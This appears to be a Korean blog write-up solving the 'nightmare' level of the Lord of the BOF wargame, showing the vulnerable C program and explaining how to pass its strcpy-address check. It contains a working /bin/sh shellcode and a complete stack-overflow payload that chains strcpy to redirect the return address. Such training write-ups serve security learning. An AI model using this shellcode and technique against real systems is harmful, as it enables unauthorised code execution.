/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}

소스를 보면 문제를 풀기 위한 중요한 부분이 있음

1. memcmp함수를 통해 argv[1]의 44바이트 부분 부터 4바이트를 strcpy함수의 주소와 비교해 같으면 if를 통과

2. strcpy를 통해 argv[1]에 입력된 값을 buffer에 저장 후 memset함수에 의해 48바이트 부분 부터 4바이트가 'A'로 변경됨


이 부분을 우회하면 문제를 풀 수 있다.


먼저 memcmp함수를 통과하기 위해 strcpy 함수의 주소를 알아낸다.

strcpy의 주소는 gdb로 확인할 수 있다.

strcpy  -> 0x8048410

이제 저부분이 통과가 되는지 페이로드를 작성해 확인해본다.

payload = `python -c 'print "\x90"*44+"\x10\x84\x04\x08"'`

세그먼트 폴트가 뜨면서 프로그램이 종료됐다. 

일단 memcmp부분은 통과한 것이다.


이제 gdb로 main의 leave에 bp를 걸고 48바이트 뒷 부분이 'A'로 변경이 되나 확인해보면 아래와 같이 A로 변경이 된것을 확인할 수 있다.


이 문제를 풀기 위해 strcpy를 이용해야한다.

현재는 ret가 memset에 의해 0x41414141로 변경되어서 seg fault가 뜨면서 종료 된다. 

소스코드에 의해 sfp는 strcpy로 고정되어 있으므로 argv[1]에 strcpy의 인자를 주어서 0x41414141이 들어가 있는 주소에 쉘코드가 있는 주소를 넣어주면 ret를 쉘코드가 있는 주소로 변경할 수 있다.


아래는 strcpy함수의 syntax다.

char *strcpy(char *strDestination, const char *strSource);

인자로 Dst, Src를 주면 되겠다.

이제 payload를 완성해 나가면 된다.

먼저 쉘코드는 25바이트 짜리를 사용했다.

Shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


payload : &shell[4]+NOP[15]+shell[25]+strcpy[4]+NOP[4]+&AAAA[4]+shell코드의 주소가 있는 주소[4]


이렇게 작성해서 gdbdump를 이용해 정확히 주소를 찾아가면서 수정하여 얻은 payload는 아래와 같다.


payload : `python -c 'print "\x0f\xfc\xff\xbf"+"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x10\x84\x04\x08"+"\x90"*4+"\xb0\xfa\xff\xbf"+"\x80\xfa\xff\xbf"'`


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow xavius  (0) 2017.10.12
Lord of bufferoverflow nightmare  (0) 2017.09.26
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26

+ Recent posts